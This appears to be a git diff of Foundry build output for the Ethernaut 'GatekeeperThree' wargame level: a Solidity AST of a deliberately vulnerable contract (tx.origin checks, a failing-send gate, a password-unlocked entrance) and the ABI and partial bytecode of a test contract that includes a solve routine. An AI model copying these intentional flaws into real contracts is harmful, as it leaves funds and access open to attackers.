GatekeeperThree"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}],"id":52791,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1184:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52790,"name":"address","nodeType":"ElementaryTypeName","src":"1184:7:83","typeDescriptions":{}}},"id":52793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1184:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52794,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1198:7:83","memberName":"balance","nodeType":"MemberAccess","src":"1184:21:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"302e303031","id":52795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1208:11:83","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"src":"1184:35:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"hexValue":"302e303031","id":52802,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1243:11:83","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"expression":{"arguments":[{"id":52799,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"1231:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52798,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1223:8:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":52797,"name":"address","nodeType":"ElementaryTypeName","src":"1223:8:83","stateMutability":"payable","typeDescriptions":{}}},"id":52800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1223:14:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":52801,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1238:4:83","memberName":"send","nodeType":"MemberAccess","src":"1223:19:83","typeDescriptions":{"typeIdentifier":"t_function_send_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) returns (bool)"}},"id":52803,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1223:32:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":52804,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1259:5:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"1223:41:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"1184:80:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52809,"nodeType":"IfStatement","src":"1180:112:83","trueBody":{"id":52808,"nodeType":"Block","src":"1266:26:83","statements":[{"id":52807,"nodeType":"PlaceholderStatement","src":"1280:1:83"}]}}]},"name":"gateThree","nameLocation":"1158:9:83","parameters":{"id":52789,"nodeType":"ParameterList","parameters":[],"src":"1167:2:83"},"virtual":false,"visibility":"internal"},{"id":52827,"nodeType":"FunctionDefinition","src":"1304:145:83","nodes":[],"body":{"id":52826,"nodeType":"Block","src":"1352:97:83","nodes":[],"statements":[{"condition":{"arguments":[{"id":52818,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52813,"src":"1386:9:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52816,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52751,"src":"1366:5:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"id":52817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1372:13:83","memberName":"checkPassword","nodeType":"MemberAccess","referencedDeclaration":52704,"src":"1366:19:83","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) external returns (bool)"}},"id":52819,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1366:30:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52825,"nodeType":"IfStatement","src":"1362:81:83","trueBody":{"id":52824,"nodeType":"Block","src":"1398:45:83","statements":[{"expression":{"id":52822,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52820,"name":"allowEntrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52748,"src":"1412:13:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":52821,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1428:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1412:20:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52823,"nodeType":"ExpressionStatement","src":"1412:20:83"}]}}]},"functionSelector":"c960174e","implemented":true,"kind":"function","modifiers":[],"name":"getAllowance","nameLocation":"1313:12:83","parameters":{"id":52814,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52813,"mutability":"mutable","name":"_password","nameLocation":"1334:9:83","nodeType":"VariableDeclaration","scope":52827,"src":"1326:17:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52812,"name":"uint256","nodeType":"ElementaryTypeName","src":"1326:7:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1325:19:83"},"returnParameters":{"id":52815,"nodeType":"ParameterList","parameters":[],"src":"1352:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52850,"nodeType":"FunctionDefinition","src":"1455:121:83","nodes":[],"body":{"id":52849,"nodeType":"Block","src":"1485:91:83","nodes":[],"statements":[{"expression":{"id":52842,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52830,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52751,"src":"1495:5:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":52838,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1535:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}],"id":52837,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1527:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52836,"name":"address","nodeType":"ElementaryTypeName","src":"1527:7:83","typeDescriptions":{}}},"id":52839,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1527:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52835,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1519:8:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":52834,"name":"address","nodeType":"ElementaryTypeName","src":"1519:8:83","stateMutability":"payable","typeDescriptions":{}}},"id":52840,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1519:22:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52833,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1503:15:83","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_payable_$returns$_t_contract$_SimpleTrick_$52742_$","typeString":"function (address payable) returns (contract SimpleTrick)"},"typeName":{"id":52832,"nodeType":"UserDefinedTypeName","pathNode":{"id":52831,"name":"SimpleTrick","nameLocations":["1507:11:83"],"nodeType":"IdentifierPath","referencedDeclaration":52742,"src":"1507:11:83"},"referencedDeclaration":52742,"src":"1507:11:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}},"id":52841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1503:39:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"src":"1495:47:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"id":52843,"nodeType":"ExpressionStatement","src":"1495:47:83"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52844,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52751,"src":"1552:5:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"id":52846,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1558:9:83","memberName":"trickInit","nodeType":"MemberAccess","referencedDeclaration":52715,"src":"1552:15:83","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":52847,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1552:17:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52848,"nodeType":"ExpressionStatement","src":"1552:17:83"}]},"functionSelector":"f7edf099","implemented":true,"kind":"function","modifiers":[],"name":"createTrick","nameLocation":"1464:11:83","parameters":{"id":52828,"nodeType":"ParameterList","parameters":[],"src":"1475:2:83"},"returnParameters":{"id":52829,"nodeType":"ParameterList","parameters":[],"src":"1485:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52865,"nodeType":"FunctionDefinition","src":"1582:86:83","nodes":[],"body":{"id":52864,"nodeType":"Block","src":"1632:36:83","nodes":[],"statements":[{"expression":{"id":52862,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52859,"name":"entrant","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52746,"src":"1642:7:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52860,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"1652:2:83","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52861,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1655:6:83","memberName":"origin","nodeType":"MemberAccess","src":"1652:9:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1642:19:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52863,"nodeType":"ExpressionStatement","src":"1642:19:83"}]},"functionSelector":"e97dcb62","implemented":true,"kind":"function","modifiers":[{"id":52853,"kind":"modifierInvocation","modifierName":{"id":52852,"name":"gateOne","nameLocations":["1606:7:83"],"nodeType":"IdentifierPath","referencedDeclaration":52778,"src":"1606:7:83"},"nodeType":"ModifierInvocation","src":"1606:7:83"},{"id":52855,"kind":"modifierInvocation","modifierName":{"id":52854,"name":"gateTwo","nameLocations":["1614:7:83"],"nodeType":"IdentifierPath","referencedDeclaration":52788,"src":"1614:7:83"},"nodeType":"ModifierInvocation","src":"1614:7:83"},{"id":52857,"kind":"modifierInvocation","modifierName":{"id":52856,"name":"gateThree","nameLocations":["1622:9:83"],"nodeType":"IdentifierPath","referencedDeclaration":52811,"src":"1622:9:83"},"nodeType":"ModifierInvocation","src":"1622:9:83"}],"name":"enter","nameLocation":"1591:5:83","parameters":{"id":52851,"nodeType":"ParameterList","parameters":[],"src":"1596:2:83"},"returnParameters":{"id":52858,"nodeType":"ParameterList","parameters":[],"src":"1632:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52869,"nodeType":"FunctionDefinition","src":"1674:29:83","nodes":[],"body":{"id":52868,"nodeType":"Block","src":"1701:2:83","nodes":[],"statements":[]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":52866,"nodeType":"ParameterList","parameters":[],"src":"1681:2:83"},"returnParameters":{"id":52867,"nodeType":"ParameterList","parameters":[],"src":"1701:0:83"},"scope":52870,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperThree","contractDependencies":[52742],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52870],"name":"GatekeeperThree","nameLocation":"738:15:83","scope":52871,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":83} \ No newline at end of file diff --git a/contracts/out/GatekeeperThree.t.sol/TestGatekeeperThree.json b/contracts/out/GatekeeperThree.t.sol/TestGatekeeperThree.json new file mode 100644 index 000000000..ce876abdf --- /dev/null +++ b/contracts/out/GatekeeperThree.t.sol/TestGatekeeperThree.json @@ -0,0 +1,4499 @@ +{ + "abi": [ + { + "type": "function", + "name": "IS_TEST", + "inputs": [], + "outputs": [ + { + "name": "", + "type": "bool", + "internalType": "bool" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "createLevelInstance", + "inputs": [ + { + "name": "ethernaut", + "type": "address", + "internalType": "contract Ethernaut" + }, + { + "name": "level", + "type": "address", + "internalType": "contract Level" + }, + { + "name": "value", + "type": "uint256", + "internalType": "uint256" + } + ], + "outputs": [ + { + "name": "instance", + "type": "address", + "internalType": "address" + } + ], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "createUsers", + "inputs": [ + { + "name": "userNum", + "type": "uint256", + "internalType": "uint256" + } + ], + "outputs": [ + { + "name": "", + "type": "address[]", + "internalType": "address payable[]" + } + ], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "excludeArtifacts", + "inputs": [], + "outputs": [ + { + "name": "excludedArtifacts_", + "type": "string[]", + "internalType": "string[]" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "excludeContracts", + "inputs": [], + "outputs": [ + { + "name": "excludedContracts_", + "type": "address[]", + "internalType": "address[]" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "excludeSenders", + "inputs": [], + "outputs": [ + { + "name": "excludedSenders_", + "type": "address[]", + "internalType": "address[]" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "failed", + "inputs": [], + "outputs": [ + { + "name": "", + "type": "bool", + "internalType": "bool" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "getEthernautWithStatsProxy", + "inputs": [ + { + "name": "owner", + "type": "address", + "internalType": "address" + } + ], + "outputs": [ + { + "name": "", + "type": "address", + "internalType": "contract Ethernaut" + } + ], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "getNextUserAddress", + "inputs": [], + "outputs": [ + { + "name": "", + "type": "address", + "internalType": "address payable" + } + ], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "getOldFactory", + "inputs": [ + { + "name": "contractName", + "type": "string", + "internalType": "string" + } + ], + "outputs": [ + { + "name": "addr", + "type": "address", + "internalType": "address" + } + ], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "mineBlocks", + "inputs": [ + { + "name": "numBlocks", + "type": "uint256", + "internalType": "uint256" + } + ], + "outputs": [], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "setUp", + "inputs": [], + "outputs": [], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "submitLevelInstance", + "inputs": [ + { + "name": "ethernaut", + "type": "address", + "internalType": "contract Ethernaut" + }, + { + "name": "instance", + "type": "address", + "internalType": "address" + } + ], + "outputs": [ + { + "name": "", + "type": "bool", + "internalType": "bool" + } + ], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "targetArtifactSelectors", + "inputs": [], + "outputs": [ + { + "name": "targetedArtifactSelectors_", + "type": "tuple[]", + "internalType": "struct StdInvariant.FuzzSelector[]", + "components": [ + { + "name": "addr", + "type": "address", + "internalType": "address" + }, + { + "name": "selectors", + "type": "bytes4[]", + "internalType": "bytes4[]" + } + ] + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "targetArtifacts", + "inputs": [], + "outputs": [ + { + "name": "targetedArtifacts_", + "type": "string[]", + "internalType": "string[]" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "targetContracts", + "inputs": [], + "outputs": [ + { + "name": "targetedContracts_", + "type": "address[]", + "internalType": "address[]" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "targetInterfaces", + "inputs": [], + "outputs": [ + { + "name": "targetedInterfaces_", + "type": "tuple[]", + "internalType": "struct StdInvariant.FuzzInterface[]", + "components": [ + { + "name": "addr", + "type": "address", + "internalType": "address" + }, + { + "name": "artifacts", + "type": "string[]", + "internalType": "string[]" + } + ] + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "targetSelectors", + "inputs": [], + "outputs": [ + { + "name": "targetedSelectors_", + "type": "tuple[]", + "internalType": "struct StdInvariant.FuzzSelector[]", + "components": [ + { + "name": "addr", + "type": "address", + "internalType": "address" + }, + { + "name": "selectors", + "type": "bytes4[]", + "internalType": "bytes4[]" + } + ] + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "targetSenders", + "inputs": [], + "outputs": [ + { + "name": "targetedSenders_", + "type": "address[]", + "internalType": "address[]" + } + ], + "stateMutability": "view" + }, + { + "type": "function", + "name": "testInit", + "inputs": [], + "outputs": [], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "testSolve", + "inputs": [], + "outputs": [], + "stateMutability": "nonpayable" + }, + { + "type": "event", + "name": "log", + "inputs": [ + { + "name": "", + "type": "string", + "indexed": false, + "internalType": "string" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_address", + "inputs": [ + { + "name": "", + "type": "address", + "indexed": false, + "internalType": "address" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_array", + "inputs": [ + { + "name": "val", + "type": "uint256[]", + "indexed": false, + "internalType": "uint256[]" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_array", + "inputs": [ + { + "name": "val", + "type": "int256[]", + "indexed": false, + "internalType": "int256[]" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_array", + "inputs": [ + { + "name": "val", + "type": "address[]", + "indexed": false, + "internalType": "address[]" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_bytes", + "inputs": [ + { + "name": "", + "type": "bytes", + "indexed": false, + "internalType": "bytes" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_bytes32", + "inputs": [ + { + "name": "", + "type": "bytes32", + "indexed": false, + "internalType": "bytes32" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_int", + "inputs": [ + { + "name": "", + "type": "int256", + "indexed": false, + "internalType": "int256" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_address", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "address", + "indexed": false, + "internalType": "address" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_array", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "uint256[]", + "indexed": false, + "internalType": "uint256[]" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_array", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "int256[]", + "indexed": false, + "internalType": "int256[]" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_array", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "address[]", + "indexed": false, + "internalType": "address[]" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_bytes", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "bytes", + "indexed": false, + "internalType": "bytes" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_bytes32", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "bytes32", + "indexed": false, + "internalType": "bytes32" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_decimal_int", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "int256", + "indexed": false, + "internalType": "int256" + }, + { + "name": "decimals", + "type": "uint256", + "indexed": false, + "internalType": "uint256" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_decimal_uint", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "uint256", + "indexed": false, + "internalType": "uint256" + }, + { + "name": "decimals", + "type": "uint256", + "indexed": false, + "internalType": "uint256" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_int", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "int256", + "indexed": false, + "internalType": "int256" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_string", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "string", + "indexed": false, + "internalType": "string" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_named_uint", + "inputs": [ + { + "name": "key", + "type": "string", + "indexed": false, + "internalType": "string" + }, + { + "name": "val", + "type": "uint256", + "indexed": false, + "internalType": "uint256" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_string", + "inputs": [ + { + "name": "", + "type": "string", + "indexed": false, + "internalType": "string" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "log_uint", + "inputs": [ + { + "name": "", + "type": "uint256", + "indexed": false, + "internalType": "uint256" + } + ], + "anonymous": false + }, + { + "type": "event", + "name": "logs", + "inputs": [ + { + "name": "", + "type": "bytes", + "indexed": false, + "internalType": "bytes" + } + ], + "anonymous": false + } + ], + "bytecode": { + "object": "0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616a02806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b4d565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001b90565b620001b3620001fa36600462001c7c565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d4f565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e12565b620001da6200025736600462001edf565b62000ef8565b6200019a62001088565b62000271620011ea565b604051620001c7919062001ef7565b620001b36200029136600462001f5d565b620012bf565b62000237620013de565b620002b8620002b236600462001f7b565b620014d8565b6040519015158152602001620001c7565b6200027162001668565b6200019a6200173d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017d6565b620001da620018aa565b6200019a6200032f36600462001edf565b6200190a565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fb7565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fb7565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012bf565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001af2565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002058565b90508060018251620009829190620021e8565b8151811062000995576200099562001fb7565b60200260200101515f0151600281518110620009b557620009b562001fb7565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f6040518083038186